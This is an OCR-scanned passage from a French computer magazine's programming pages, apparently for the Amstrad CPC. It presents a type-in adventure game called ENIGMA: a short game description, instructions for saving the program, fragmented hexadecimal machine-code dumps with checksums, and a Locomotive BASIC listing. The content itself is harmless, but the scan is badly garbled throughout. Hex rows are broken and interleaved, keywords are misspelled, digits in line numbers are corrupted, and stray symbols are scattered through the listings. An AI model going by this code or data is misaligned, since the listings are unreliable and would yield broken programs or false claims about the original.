16 3A 7B 80 00 C4:1B • 
'B 80 00 90 CC 71:19 
0 40 30 3E 2C 80:AF 


5B38 
5B40 
5B48 

..» v» — .».=. 5B50 

00 00 C0 9D 7F 80 00 00 :A7 5B58 


C8 00 00 
00 00 95 
B6 30 6E 


64 6A C0 
90 9D 00 
00 90 9D 


00 00 00 40 3D.-88 
00 C4 3E 60 00:38 
*" — 80 00 40:60 
40 79 60:77 
CB 64 3E;26 
D9 00 40:8P 
« vv 00 C4 68:98 
40 64 6A 64 7B:86 
68 00 00 00 00:57 


00 00 00 
00 00 22 
00 00 00 
22 A7 AA 
55 00 FF 
00 22 00 
55 55 00 
F3 00 71 


0 F3 F3 Fl F2 00:D3 

1 22 00 00 00 00:72 

3 F2 00 00 B3 87:76 

0 00 00 00 04 0F:FD 

E 00 63 04 0A D3:71 

00 00 04 0F 0E:21 

55 08 93 00 00:8C 

5D 0C 5D 08 00:56 

11 S II II SSil! 

00 00 00 00 55:45 

00 00 5D 00 00:8E 

20 F3 20 F3 A2 : 63 

FB 0A *0 B2 A2-.2E 

A2 71 20 B2 A2:F0 

00 B2 A2 B2 A2:D6 

00 B2 20 00 04:CC 

20 38 28 38 28:4F 


0 3B «0 00 5 
A 3A 2A 3E 2 
0 00 00 0F 0 
8 98 00 CC 
5 0C AA 20 
0 30 20 64 
5 00 00 03 
0 00 00 30 
0 30 30 30 


88 98 88:B5 
20 64 20:4B 
20 00 AF:1D 


SA 00 F 
30 30 3 


3D 3D 

3 Z 


9D 9D 
BF 3F 3F 3 
3F 3F 3D 7 
3D 3D 3D 3 
00 00 00 0 
00 00 00 0 
00 00 00 C 
40 6A 9D C 
B 6F 48 00 0 

A 00 00 40 E 

0 40 E2 30 C 

2 C8 60 40 8 

2 10 2B 40 E 


: 78 
:4D 
64 64 64:F9 
9D 9D 9D:75 
9D 3F AE:03 
3F 3F 3F:C7 
7D 0C FF:EA 
3D 3D 3D:A5 
00 00 00:D0 
00 00 00:21 


B6 64 6 
80 00 0 
00 C4 9 
3E 80 0 


3 C0 00 00 :F4 
B 00 00 C4:F2 
B 90 9D C8:B3 


B 3D C8 C4 
B 90 98 80 
B 80 00 60 


00 C4 3A:1A 
C4 95 CC:F5 
3A 80 00:B1 
00 98 B0:D8 
00 95 98:31 
6E 60 00:0B 
00 00 00:CA 


00 00 00 00 00 00 00 00:E 
40 C0 00 00 00 00 90 98:5 


3 90 80 00 
a 80 00 C4 
a 90 C4 71 


00 95 98:26 
30 DI 80:06 
80 1D 20:IC 


IZZî 

o ce 00 00 0 


D 98 7A 80:36 
D 80 00 90:5D 
3 40 60 3E:BE 


35 C8 00 4 
00 40 35 C 
64 60 40 9 
40 44 00 4 


3 00 00 00 00 00 0 

0 40 F3 F3 80 00 0 
a 00 00 00 00 DI f 


B 00:C5 


64 98 98 CC 60 0 
00 00 00 95 3A 4 

60 DB CF 90 ce a 

60 00 00 00 {T 


) C4 CE A6 59 CD C8 0 


6A 00 00 00 00 
5D DI E2 AE 68 
®0 00 0® DI FB 


FF: 03 
00: 8A 
00:14 


9D 9D 9 
3C B7 C 
68 00 4 


4 9D 9D:02 
0 40 F3:D7 


0 3C:A2 
5 B6:92 
5 CC:AC 


F 6A 6E 98 95 3F 3 
3 40 64 30 9D 9D 9 
3 6E 9D 3F 80 40 9 
l 6E 6A 6A 3E 9D ’3 
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5C78:98 6A 40 60 98 90 98 9D:Et 
5C80:9D 3D 30 CC 30 C8 40 C0:i: 

5C88:60 CB 60 64 64 6E 64 64:Ef . . 

5C90 :C4 60 40 30 C0 60 95 90:83 5FC8:00 00 00 55 00 00 00 00:70 

5C98:C0 90 90 90 90 C4 00 00:2C -5FD0:00 00 00 00 00 00 00 00:2F 

5CA0:30 44 C4 C0 98 C0 60 20:18 -5FD8:00 00 00 00 00 00 00 00:37 

5CAB:00 10 51 F3 10 10 90 44:A3 -5FE0:00 00 00 00 00 00 00 00:3F 

5CB0:20 20 00 00 F3 A2 50 00:27 5FE8:90 60 00 00 00 00 00 40:97 


0 00 05 Fl A2:DB 
5CC0:A0 51 0b 00 A0 51 00 F3:0B 
5CC8 : A2 04 51 00 0A 50 A6 00:5D 
5CD0:0A 50 00 A0 51 55 50 51:A1 


5CE8: AA A6 51 08 05 00 A6 05:18 
5CF0:00 F5 08 05 00 F5 50 AA:A0 
5CF8:A6 00 F5 04 00 0A AA 04:EB 
5000:00 0A 05 00 FS 00 0A 55:37 
5D08:00 08 00 55 00 08 04 00:15 
5D10:0A 50 08 00 00 AA 00 00:2B 
5D18:00 AA 55 00 08 0E AA 00:EA 


5FF8:3E 3D 80 C0 00 00 00 90:0F 
6000:79 B6 60 30 80 00 00 94:45 
6008:3C B6 3A 3F 60 80 40 35:02 

-6A 60 90 3F: Fl 

_ 38 3A - 

«020:7B F3 79 F3 B7 3D 79 B6:18 
6028:F3 F3 F3 79 B6 F3 3E 3D:F8 
6030:F3 F3 B6 3C F3 B6 9D 6E:39 
6038:B6 F3 3C 3E B6 3D 64 98:58 
6040:79 B6 3C 3F 3D 6E 90 60:EA 
6048:3E 3D 3E 6E 6E 98 40 “ " 


B : AA 00 00 0 

3:00 00 00 0 


3 00 00 00;2F 6060:9 


0:90 6E 9D 98 CC 60 00 

4 98 64 60 30 80 00 00:E8 
0 60 90 80 C0 00 A2 00:EE 
-. -. -6068:00 00 00 00 00 00 00 00:C8 

- 5D3B: 00 00 00 00 00 00 00 00:95 -6070:00 00 00 00 00 00 00 00:D0 

- 5D40:00 00 00 00 00 00 00 51:25 -6078:00 00 00 00 00 00 00 00:08 

5D48 : A2 00 00 00 00 00 00 E7:7F .6080:00 00 00 00 00 00 00 00:B0 

5D50 :DB A2 00 00 00 00 00 8E:3C - 6088:00 00 00 00 00 00 00 00:EB 

5D58 ; 4D DB 00 00 A2 00 00 5D:CA .6090:00 00 00 00 00 00 00 00:F0 
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3C DD 77 00 DD 36 0D 
DD 36 0E 00 DD 36 09 


4:D6 
9:14 
E:A0 
JD:BA 
C9:00 
Î3:E6 
FE: 58 
CA: 77 








CPC 


PROGAMMATION 



FE 10 CB 23:FB 
06 BB CD 48:86 
C3 06 BB DD:FF 
03 C5 CP 91:B0 
00 DD 19 10:E6 
8F CD BD 8C:09 
AF 32 1F 90: AE 
01 DD 36 09:36 
20 CD F8 8F: 5C 
36 0C 6E DD:CC 
36 0E 00 DD:42 
C0 54 DD 73:35 
C9 DD 36 00:10 
06 DD 36 0A:E4 
DD 77 0B DD:BF 
36 0D 00 DD:AC 
36 0F 02 11:28 
07 DD 72 08:20 


-- .^00 01:61 
73 07 DD 72:F6 
0B DD 36 0A:35 
DD 77 0B FD:69 
0C 11 02 00:40 

» S iî 

S S S !?;S 

7E 0B 3D DD:CB 
D0 DD 36 00:88 
00 01 DD 36:96 
5F DD 73 07:4B 
3E 01 32 38:3C 
BF 32 3A 90:A2 
48 8F 32 4B:A8 
32 2D 90 DD:A9 
36 00 01 DD:BA 
36 0C 6E DD: 66 
36 0A 20 21:15 
07 DD 74 08:E7 
1F 90 C9 AF: 42 
68 90 32 69:B3 
32 6B 90 C9:5B 
21 F4 01 2B:8D 
10 F6 C9 11:92 
C9 01 46 00:19 
8E 21 64 00:14 
00 01 50 46:C0 
EB 8D 3A 6A:E4 
90 11 0A 00:2F 
6B 90 C6 07:BD 
6A 90 C6 05:21 
39 00 C3 55:99 
3C 32 69 90:C2 
03 32 6A 90:0D 
06 32 6B 90:2D 


0 00 00 00 9B Al 00:28 
8:00 00 00 00 00 00 00 00:27 
0:00 00 00 00 00 00 SB A2:BC 
8:00 00 00 00 00 00 00 00:37 
0:00 00 00 00 00 00 00 IB:17 
8:A3 00 00 00 00 00 00 00:EA 
0 00 00 00 00 00 00:4F 
3 00 00 00 00 00 00:78 
0 0® ®0 00 0® 0® 0®;5F 

B A4 00 00 00 00 00:89 
0 00 00 00 2A 5C 90:6F 
2 5C 90 7E FE 00 C0:9C 
E 90 22 5C 90 7E C9;7A 
E 90 23 22 4E 90 7E;E7 
0 C0 21 50 90 7E 22:C4 
0 C9 2A 54 90 23 22:12 
0 7É FE 00 C0 21 56:90 
E 22 54 90 C9 0® 00:70 


0:A0 A7 AE 00 00 00 5F 58:3 
'1 00 00 00 00 00 01 01:4 
0:02 01 02 02 01 02 @0 00:1 


4B:A8 90A0:45 2A 0 


2 4C 41 43:AC 

3 54 45 4D:3A 
0 2A B9 C5:AC 

2 49 47 48:36 
0 4F 57 45:A7 
E 3E 2A 59 :6D 

3 4B 20 53:6C 
D 20 31 39:10 
0 30 30 30:60 


!0 3C 2A 4C:89 
!0 31 2A 3F:C5 
IF 3F 2A 50: CA 
15 20 41 43 :DE 
10 43 4F 44: 96 
O 3D 3D 2A:DB 
15 20 30 30:10 
10 20 20 4C:A1 
10 30 32 2A:A7 
IA 04 03 02: AC 
15 00 04 05:36 


8:06 00 0A 00 0A 00 1 
0:02 01 03 14 00 00 G 
6:00 01 00 00 00 00 5 
' — -0 01 00 00 00 G 
2 00 02 00 00 G 
F 02 00 02 00 G 
0 0F 05 00 
2 19 0F 32 
2 01,18 17 
0 12 IA 0E 
4 8C 55 DD 
7 0E FE 03 
4 DA 43 92 
2 FE 06 DA 


16 0A 09:7B 
03 6E 41:Cl 
7E 0E 3C:5E 
DA 3A 92:E0 
FE 05 DA:0B 


3:07 DD 74 08 DD 3 


0 00 65 04 
1 02 03 65 
5 01 01 65 
3 65 04 01 
9 00 86 01 
7 01 F6 02 


3:00 06 00 00 00 0 


08 C9 21:35 
DD 74 08 :BF 
01 65 04:94 












PROGAMMATION 








CRC 



D ans un immeuble impo¬ 
sant de cinquante 
étages, le joueur doit 
rassembler une dizaine d'élé¬ 
ments afin de résoudre «l'énig¬ 
me». En fait d'éléments, dix 
phrases sibyllines qui s'obtien¬ 
nent en soudoyant de grands 
ordinateurs par l'offrande 
d'objets récoltés un peu par¬ 
tout dans l'édifice. Chaque 
machine exige trois objets bien 
précis contre l'affichage d'un 
des messages. Un maximum 
de sept objets peut être trans¬ 
porté et les échanges sont pos¬ 
sibles. Toutes les actions, 
déplacements et sélections 
d'icônes s'effectuent par le 
joystick. 

Avouons que la solution est 
particulièrement tordue. Qui 
osera relever le défi?.. 


ENIGMA 


Jeu d'aventure ou de réflexion? Allez 
savoir... Le fait est qu'il pose la vraie, 
l'ultime question: qui est Enigma? 



Sauvegarde 

Sauvez sous le nom ENIGMA 
le programme Basic. Entrez 
ensuite par Amsaisie V.2 en 
vous reportant à son mode 
d'emploi, le second listing de 
code hexadécimaux. Spécifiez 
9000 comme adresse de début 
et sauvez le langage machine 
sous le nom ENIGME. Si vous 
ne souhaitez pas saisir en une 
seule fois la totalité des codes, 
morcelez votre travail en 
créant plusieurs fichiers (El, 
El, etc.). Ces derniers devront 
ultérieurement être chargés à 
la suite (LOAD "El" : LOAD 
"E2", etc.) après un MEMORY 
&8FFF et sauvegardés ainsi 
dans un fichier unique: 

SAVE "ENIGME", b, &9000, 
&1127 

Claude Le Moullec 


30 REM 
40 REM 
50 REM 

50 SÏMBOL AFTER 200 
70 SÏMBOL 221.24.24.50,50,126,125 
,255,255 

00 SÏMBOL 222.60,60,60,60.60,60,6 
0.60 

90 SÏMBOL 223,60,60.60,60,60,60,6 
0,60 

100 SÏMBOL 224,255.255,126,126,60 
.60,24,24 

110 SÏMBOL 225,16,16.40.48.127,12 

7.255.255 

120 SÏMBOL 226.255,255,127,127,48 
,48,16,16 

130 SÏMBOL 227,8.8,12,12.254,254, 

255.255 

140 SÏMBOL 228,255,255,254,254,12 

.12,8.8 

150 SÏMBOL 229,0.117.87,87,85,117 

,0,0 

160 SÏMBOL 230,16.16,0,56.56,56.5 

6.255 

170 SÏMBOL 231,127.67,71,79.95,95 
.95,95 

180 SÏMBOL 232,95.87,95.95,95.94, 
92,24 

190 SÏMBOL 233,248.8.28.8,0.255,1 
89,219 

200 SÏMBOL 234.231,255.231,255.25 

5.255.255.255 

210 SÏMBOL 235,34.39.34,114,34.0. 
255,189 

220 SÏMBOL 236,219,231,255.231,25 

5.255.255.255 

230 SÏMBOL 237.119,119,68,0,221,2 
21.17.0 

240 SÏMBOL 238.0,136.51.0,0.34.22 

0,0 

250 SÏMBOL 239.24,16,8,24.24.16.8 
.24 

260 SÏMBOL 240,24.60,36.36,36.36. 
36,36 

270 SÏMBOL 241.36.36,36,36,36,36. 


1736 

419) 

1904 

419] 

1736 

220E 

1979 

2474 

1663 

2703 

2024 

2216 

1943 

1796 

1792 

2537 

1539 

[1862 

2766 

2403 

2906] 

1S00] 

2424! 

2214 

2101 

2339 


38,36 

280 SÏMBOL 242,60,60,60,60,60,60, [2750] 
60,60 

290 MEMORÏ &6FFF 
300 LOAD “.ESICMS.BIS".49000 


[207] 
[1464] 

310 REM ::::::::::::::::::::::: [17361 

320 REM • [4191 

330 REM : 9ARIA3LES DK BASE : [20811 

340 REM : :419] 

350 REM [1736] 

360 MODE 0 RSSTCRB 370:FOR b=0 ÎO (4734) 
15 :READ a : INC h.B.HEIT:BORDER 0 
370 DATA 0.3.6.16.9.18.13,1.2.11, [2147) 
24.2S.26.4.7,8 

380 DEF FN po(x,y)=&C000+Cy-l)*80 [585] 

390 GOSÜB 2600:REM PRESESXATXON [2787] 
400 GOSOB 2430: REM EXPLICATIONS [2094] 
410 FOR h=0 TO 3:sp(h+l)=&9894+(l [2004] 
24*h ) :NEXT:slt=4D3 5S 

420 DIM ot>3 ( 20 ) : FOR h=0 TO 19:obj [1988] 

Ch+1)=&9000+C64*h):NEXT 

430 DIM texSf30):RESTORE 2330:cox [1695] 

=0 

440 Cex=tex+1 :READ tex$(Cex):IF t [3881] 
ex$Ctex)="XI" THEN 450 ELSE 440 
450 tr$=CHRJC22)+CHRS(l):nr$=CHR$ [1849] 
(22>+CHR$C0> 

460 xo$=CHR$(23)+ŒtR*Cl):xrS=CHR$ [2113] 
(23)+CHR$(0) 

470 WINDOW #1,2,19,19,18 : WINDOW # [3186] 
3,1,18,7,15 

480 flo=l:ENT 1,100,2.2:SNY 1,100 [11841 
.3.1 

490 DIM eta(50,12) : RANDOMIZE TIME [2086] 
:FOR h=l TO 10 

500 x=INT(RND*50)+l:IF etaCx,l)o [3158] 
0 THEN 500 ELSE eta(x,l)=h 
510 NEXT:FOR h=l TO S0:IF ota(h,l [2160] 
)=0 THEN 530 

520 FOR g=2 TO 4:x=INT(RND*20)+l: [2899] 
eta(h.g)=x:NEXT g 

530 NEXT h [372] 

540 FOR h=l TO 50:IF «a(h,l)<>0 [2586] 

THEN 560 

550 FOR g=8 TO 10:x=INTCRND*20)+l [3782] 
:eta(h,g)=x:NEXT g 


560 NEXT h [372] 

570 FOR h=l TO 50:eta(h,ll)=l:x=I [3748] 

NT<RND*20)+l:eta(h,12)=x:NEXT 

580 FOR h=l TO 12 [862] 

590 x=INT(RND*50)+l: IF eta(x,l)<> [2442] 

0 THEN 590 ELSE eta(x,8)=l 

600 x=INT(RND*50)+l:IF etaCx.l)<> [3640] 

0 THEN 600 ELSE eta(x.9)=l 

610 x=INT(RND*50)+l: IF eta(x,l)<> [2310] 

0 THEN 610 ELSE eta(x,10)=l 

620 x=INT(RND*S0)+l:etaCx,12)=l:x [3781] 

=INT(RND*50)+l:eta(x,12)=l:NEXT 

630 REM ::::::::::::::::::::::: [1736] 

640 REM : [419] 

650 REM : DESSIN DO DECOR : [1712] 

660 REM : : [419] 

670 REM ::::::::::::::::::::::: [1736] 

680 PLOT -10,1,10:TAG:FOR h=272 T [4912] 

O 400 STEP 16:MOVE 592,h:PRINT CH 

RSC239);:NEXT:TAGOFF 

690 PEN 10:LCCATE 19,9:PRINT CHRÎ [8422] 
C214)+CHR$(215):FOR h=10 IO 14:LO 
CATE 20,h:PRINT CHRJ(209):NEXT: LO 
CATE 19,15:PRINT CHR*C131)+CHR$C1 

700 PLOT -10,-10,5:TAO:x=l:FOR h= [5734] 
12 TO 640 STEP 40:ORIGIN h.40:MOV 
E b, 16 :PRINT CBRJC220+X);:x=x+l:M 
OVE h,0:PRINT CHRi(220+x) ; :x=x+l 
710 NEXT:TAGOFF:ORIGIN 0,0 [1037] 

720 DATA 1.17.20,1,20,20.1,2.17.1 [3064] 
,5.17,1,17,4,20,17,4,1,2.4,17,2.4 

730 «1=2-.82=15:RESTORE 720:FOR 1= [3551] 
1 TO 8 :G0S0B 740 :NEXT:GOTO 820 
740 READ X.Ï,L:xl=14+CX-l)*32:yl= [2428] 
388-(ï-l)*16 

750 IF i>4 THEN 790 [709] 

760 FOR J=0 TO 2 STEP 2:PLOT xl.y [4128] 
1+3,el:DRAW xl+4+(l-l)*32,yl+3:NE 
XT 

770 FOR J=4 K) 6 STEP 2:PLOT xl.y [4746] 
1+3.e2:DRAW xl+4+(l-l)*32,yl+3:NE 

780 RETORS [555] 

790 PLOT xl+4,yl+2,el:DRAW xl+4,y [2465] 
l+2-U-l)»16 


62 





































899 PLOT xl,yl+2.a2:DRAW xl,yl+2- 

(1-1)*14 

819 RETURN 

829 LOCATE l.liPRIHT tr$:FOR h=l 
TO 18:PEN 6 : LOCHE h,7:PRINT CHR* 
(237):LOCATE b,15:PRINT CHR*(237) 
839 P ES 2 .-LOCATE h, 7;PRZNT CHR*(2 
38):LOCATE h,15:PRlHT CHR*(238):H 
EXT:PEINT nx$ 

849 FOR h=8 ID 14:LOCATK l,h:PRIN 
T CHR* (133):NEXT:PEN 6:FOR h=8 T 
O 10 :LOCATE 12,ta:PEINT CHR*(149): 
NEXT 

859 IP etadlo, 1)<>0 THEN PLOT 14 
,212,19:DRAW 4B.212:PLOT 14,248:D 
R1W 48,248 

869 ataU,ll)=0:GC6UB 2239:IF as 
1 THES RETORN 

879 eta(l.11 )~2: PES=TEX*(17):OOS 
3 2180:PaS=TEXS<18):QOSVB 2 189 

889 REM ::::::::::::::::::::::: 

899 REM : 

999 REM : ROUTINE PRINCIPALE : 
919 REM : 

929 REM 

939 CALL Ü193.ait,sp(4):aet=4:i 
31 


(52441 

[5129) 


[2155] 

[45891 

[1734] 

[419] 

[2225] 

[419] 

[17361 

[2591] 


999 


940_IF INXEY(GA)=0 1HD x>nln THEN [1949] 
[1877] 
GO [14991 


959 IP INXET(DA)=0 AND x<34 THEN 
1969 

969 IP INEET(BA)=9 THEN CLS 
TO 1179 
979 GOTO 949 

989 REM : : : Tara la GAUCHE 
999 CALL 6A193,ait,sp(act):i 
t-1 

1999 CALL AA103,slt,sp(3):POR t=l 
TO 59:NEXT 

1919 CALL AA103,ait,sp(3):alt=slt 

1929 CALL AA103,alt,sp(4):FOR t=l 
TO 59: NEXT 

1939 SOUND 1,399,5,1,1.1.15 
1949 act=4:x=x-l: IP aa=l THEN RET 
URN ELSE 949 

1959 REM : : : vers la DROITE : 
1969 CALL AA103,ait,sp(act):slt=s 
lt+1 

1979 CALL 6A193,alt,ap(l):POR t=l 
TO 59:NEXT 

1989 CALL AA193,elt,sp(l):sit=slt 
+1 

1999 CALL 4A193.alC.ap(2):POR t=l 
TO 59: NEXT 

1199 SOUND 1,399,5,1,1,1.15 
1119 aet=2:x=x+l:IF aa=l THEN RET 
URN ELSE 949 
1129 REM 
1139 REM : 

1149 REM : ACTIONS ICONES 
1159 REM : 

1169 REM :::::::::::::::::::::: 
1179 LOCATE 1,1:PRINT xo*:sx=18 
OSUB 1239 :op=l 

1189 IP IHXEÏ(GA)=0 THEN op=op-l: 
GOTO 1249 

1199 IP INXET(DA)=9 THEN op=op+l: 
GOTO 1269 

1299 IP INEEÏ(FE)=9 THEN 1299 
1219 IP INXEÏ(HA)=0 AND ss=0 THEN 
CLS #1 .-GOTO 1289 
1229 GOTO 1189 

1239 PLOT sx,64,2 : DRAW ax+48,64:D 
RAM 3X4-48,16 :DRAW ax,16:DRAH SX.6 
4:RETURN 
1249 GOSUB 1239 
THEN op=8:ax=57 
1259 GOSUB 1239 
IT:GOTO 1189 
1269 GOSUB 1239 


[312] 

[15691 

[2597] 

[19591 

[1579] 


[3192] 

[2992] 

[1995] 


[1736] 

[419] 

[12261 

[419] 

[1736] 

(2328) 

[2918] 

[1346] 


ÎP=ii* 


[=18 


ax=ax-B9:IP op=9 
FOR t=l TO 199:NE 

ax=sx+89:IF op=9 
FOR t=l TO 199:NE 


LOCATE 1,1.-PEINT 


SUB 1239 
XI:GOTO 1189 
1289 GOSUB 2239 
xr*:GOTO 949 
1299 ON op GOTO 1399,1359.1499.14 
39.1479,1799,1899,1979 
1399 IP as=9 THEN LOCATE 1,1:PRIN 
T CHR*(7):PH*=TRX*(1):GOSUB 2189: 
GOTO 1189 

1319 IP flo=S9 THEN LOCATE 1.1:PR 
INT CHR*(7):PH*=TEX*(3):GOSUB 218 
9 :GOTO 1189 

1329 LOCATE U,12:PEN 9:PRINT CHR 
*(143)+CHR*(143) 

1339 flo=£lo+l:ph*=STR*dlo):li=2 

2 :ly=l 2 :GOSUB 2199 

1349 POR t=l TO 199:NEXT:GOTO 118 

9 

1359 IP as=9 THEN LOCATE 1,1:PRIN 
T CHR* (7);PHS=TSXÎ(1): GOSUB 2189: 
GOTO 1189 


[2493] 

C246SI 

[2668] 

[2465] 

(2418] 

[2139] 

[37841 

[3397] 

[2265] 

[4699] 

[1243] 

[3784] 


1369 IF iloal THEN LOCATE 1,1:PRI [3494] 
NT CHRS(7):PB*=TEX*(4):GOSUB 2189 
:GOTO 1189 

1379 LOCATE 11,12:PBN 9:PRINT CHR [2265] 
*(143)+CBR*(143) 

1389 flo=flO-l:pb*=STR*(flo):lx=2 [3937] 
l:2y=12:GOSDB 2299 

1399 FOR t=l TO 199:NEXT:GOTO 118 [1243] 


1499 IF as=9 THEN LOCATE 1,1:PRIN [3784] 
T CHR$(7):PH5=TEX$(1):GOSUB 2189: 

GOTO 1189 

1419 CLS #3 :GOSUB 829:FOR h=36 TO [ 

31 STEP -1:GOSUB 999:NEXT 
1429 as=9:GOSUB 1239:CLS #l:GOTO 


949 

1439 IP as=l THEN LOCATE 1.1:PRIN 
T CHR$(7) :GOTO 1189 ELSE aa=l 
1449 FOR h=x TO 36: GOSUB 1969 :NEX 
Î.-CALL AA103,sit,sp(act> 

1459 CALL &A193, ait, ap(4):act=4:C 
LS #3:ph$="ETAGE":lx=15:ly=12 
1469 GOSUB 2190:pta*=STR*dlo):lx= 
21:ly=12:GOSUB 2199:GOTO 1189 
1479 IP as=l THEN LOCATE 1,1:PRIS 
T CHRÎ(7):PHÎ=TEX$(14):GOSUB 2189 
:GOTO 1189 

1489 IF xoll OR etadlo,1)=0 THE 
N ph*=tex*( 12)'.GOSUB 2189:GOSUB 1 
239: GOTO 949 

1499 IF etadlo. 5)=0 THEN 1599 EL 
SE 1539 

1599 aac= 9:FOR ta=l TO 7,-IP porta (ta 
)=eta(flo,2) THEN sac=h 
1519 NEXT:IF aac=9 THEN 1539 ELSE 
eta( f lo,5)=poch(sac) 

1529 pose=AC0A0+(sac*8):ob=poch(s 
ac):CALL AA113,pose,obj(ob):poch( 
sac)=9 

1539 IP ata(flO,6)=9 THEN 1549 EL 
SE 1579 

1549 sae=9:FOR h=l TO 7:IF poch(h 
)=aCa(flo,3) THEN sac=ta 
1559 NEXT:IF sac=9 THEN 1579 ELSE 
ata(llo,6)=poch(sac) 

2569 po*e=4C0A0+(eac«B):ob=pccb(e 
ac):CALL AA113,pose.obj(ob):poch( 
aac)=9 

1579 IP at»(llo,7)=9 THEN 1589 EL 
SE 1619 

1589 aac=9:FOR h=l TO 7:IF poch(h 

)=ata(flo,4) THEN aac=h 

1599 NEXT:IF aac=9 THEN 1619 ELSE 


[2913] 

[1287] 

[3999] 

[4497] 

[4792] 

[33561 

[3851] 

[4985] 

[19791 

(4299) 

[3937] 

[4448] 

[1399] 

[3414] 

[2513] 

(4448) 

[1751] 

[4983] 

[2696] 

[4448] 


1699 pose=AC0A0+(sae*8) :ol. . . 

ac):CALL AAI13,posa,obj(ob):poch( 
sac)=9 

1619 POXE AA034 , etadlo. 5 ):POXE A [5225] 
A935,eta(ilo,*);POXE AA936,eta(il 
0,7) 

1629 POXE AA924,9:POXE AA9F2.&C9: [3161] 
CALL AA96D:POXE AA9F2.A3A 
1639 EVERÏ 5,1 GOSUB 2310:mq=0:FO [2268] 
R h=5 TO 7:IP ata(flo.b)=9 THEN m 

1640 + IF ata(flo.ta)=9 THEN manq=ma C1698] 


1669 IF mq>l THEN ph*=STR*(mq)+" [3292] 
OBJETS:":GOSUB 2189 ELSE phî=STR* 

(mq)+“ OBJET:":GOSUB 2189 
1679 A*=INXEY*: IF A*="" THEN 1679 [3997] 
ELSE MU=REMAIN(1):POXE AA924.AAE 
: GOSUB 1239:GOTO 949 

1689 MU=RBMAIN(1) : GOSUB 2989:EVER [2337] 
ï 5,1 GOSUB 2319 

1699 GOTO 1679 [399] 

1799 IP as=l THEN LOCATE 1,1:PRIN [3851] 
T CHRJ(7):PH*=TEX$(14):GOSUB 3189 
:GDTO 1189 

1719 IF ETA(FL0.11)=9 THEN PH*=TE [4957] 
X*(5):G0SUB 2189:PHS=TEIt(6) :GOSU 
B 2189:GOTO 1189 

1729 IF xo-24 THEN PH$=TEXÎ(16) :G [2459] 
OSUB 2189:GOSUB 1239:GOTO 949 
1739 CLEF=9:F0R H=1 TO 7;IF POCH( [2626] 
H)=l THEN CLEF=H 

1749 NEXT:IF CLEF=9 THEN PH$=TEX$ [25741 
(7):GOSUB 2189:GOTO 1189 
1759 PB$=TEX$C8 ): GOSUB 2289:fOR C [4643] 
=1 TO 499:NEXT:SOUND 1,2956,69.15 
1769 POSE=AC9A9+(CLEF‘8):CALL AAI [2275] 
13.pose.obj(1) 

1779 PEN 9 : FC® h=ll TO 14:LOCATE [3773] 
12,h:PRINT CHRÎ(143):NEXT 
1789 IF ETACFLO,1)=9 THEN NIN=1 E [1769] 
LSE NIN=11 

1799 ETA(PLO,ll)=9:POCH(CLEF)=9:G [3868] 
OSUB 1239 :CLS #1:G0T0 949 
1899 IP aa=l THEN LOCATE 1,1:PRIN [3851] 
T CHRÎ(7):PHS=TEX$(14):GOSUB 2189 


:GOTO 1189 

1819 IF act=2 THEN 1869 

1829 IF x=9 AND eta(£lo,8)<>9 THE 

N ote=AC3CE : pla=8 : GOTO 1939 

1839 IF x=12 AND etadlo,9)<>9 TH 
EN ote=AC3D4:pla=9: GOTO 1929 

1840 IP x=15 AND etadlo, 10)00 T 
HEN ota=AC3DA:pla=19;GOrO 1929 
1859 IF x=27 AND etadlo, 12)<>9 T 
HEN ota=AC3F2:pla=12:GOTO 1929 
1869 IF x=5 AND etadlo.8)<>9 THE 
N ote=AC3CE:pla=8:GOTO 1929 

1879 IF x=8 AND eta(flo,9)-<>9 THE 
N oteaAC3D4:pla=9:GOTO 1929 
1889 IF x=ll AND ata(£lo.19)<>9 T 
HEN ote=AC3DA :pla=10 : GOTO 1929 
1899 IF x=23 AND etadlo. 12)<>9 T 
HEN ote=AC3F2:pla=12:GOTO 1920 

1909 IF cha=l THEN RETURN 

1910 LCCATE l.l.-PRINT CHRÎ(7):PHS 
=TEX$ ( 9 ) : GOSUB 2180:GOIO 1189 

1929 IF ctaa=l THEN fla=l:RETURN E 
LSE ob=etadlo,pla) :CALL AA113,ot 
e.obj(ob):aac=9:pose=AC9A0 

1930 SOUND 2,390,2,6:sac=sac+l:po 
aa=po*e+8:IF sac=8 THEN 1969 
1940 IF poch(aac)<>9 THEN 1939 EL 
SE CALL AA113.posa.obj(ob) 

1950 poch(aac)=ob:etedlo,pla)=0: 
GOSUB 1230 : GOTO 940 
1960 CALL AA113,ote,obj(ob) :LOCAI 
E 1,1 îPRINT CHR$(7):PH$=TEX$(2):G 
OSUB 2180;GOSUB 1239;GOTO 940 

1979 IF as=l THEN LOCATE 1,1:PRIN 
T CHR$(7):PH$=TEX$(14):GOSUB 2180 
:GOTO 1189 

1980 ctaa=l:fla=0:GOSUB 18l0:cha=0 
: IF fla=l THEN 2000 

1990 LOCATE 1,1:PRINT CHR$(7):PH$ 
=TEXJ ( 9 ) : GOSUB 2180:GOTO 1180 
2000 PH$=TEX£(10) : GOSUB 2180:GOSU 
B 2300 

2019 A$=INXEÏ$:IF AS="" THEN 2010 
ELSE A=ASC(A$) 

2029 IF A<49 OR A>55 THEN CLS #1: 
GOTO 2909 ELSE A=A-4B 

2030 IF POCH(A)=0 THEN PH$=TEX$(1 
1):GOSUB 2180:GOSUB 1230:GOTO 940 

2049 POSE=AC0A0t(A*8):OB=POCH(A): 
CALL AA113,POSE,OBJ(ob) 

2050 obl=etadlo,pla) :CALL AA113, 
ota,obj(obi):SOUND 2,309,2,4 
2060 CALL AA113,PCGE.OBJ(obl):CAL 
L AAI13,ote.obj(ob) 

2070 etadlo,pla)=ob:poch(a)=obl: 
CLS#1 :GOSUB 1230:GOTO 940 
2060 PQ$=TEX$(15):GOSUB 2160 
2990 DEB=ETA(FLO,1):DEB=((DEB-1)* 
40)+49BA0:A$="":FOR H=0 TO 35 
2199 A=PEEX(DEB+-H) :A$=A$+CHR$(A-( 
h-t-1 ) ) : NEXT : PH«=LEFT$ ( aî, 3 5 ) : GOSUB 
2180 

2110 PEN 2 :RETURN 
2120 REM 


[3931] 
(25 99] 
[43911 
[3203] 
[3455] 
[3980] 
[2593] 
[1041] 
(2809) 

[5647] 

[3529] 

[2858] 

[3166] 

[4176] 

[3851] 

[1598] 

[2809] 

[2692] 

[2333] 

[25701 

[2651] 

[2492] 

[2416] 

[23111 

[4148] 


sons eeoG or vers 


2130 REM : 

2140 REM : 

2150 REM : 

2160 REM : 

2170 REM : : : afficher texte : : 
2180 LOCATE #1.18,2 :PRINT #1.CHR$ 
(10):LX=3:LY=19 

2190 ph$=UPPERSCpta$):FOR t=l TO L 
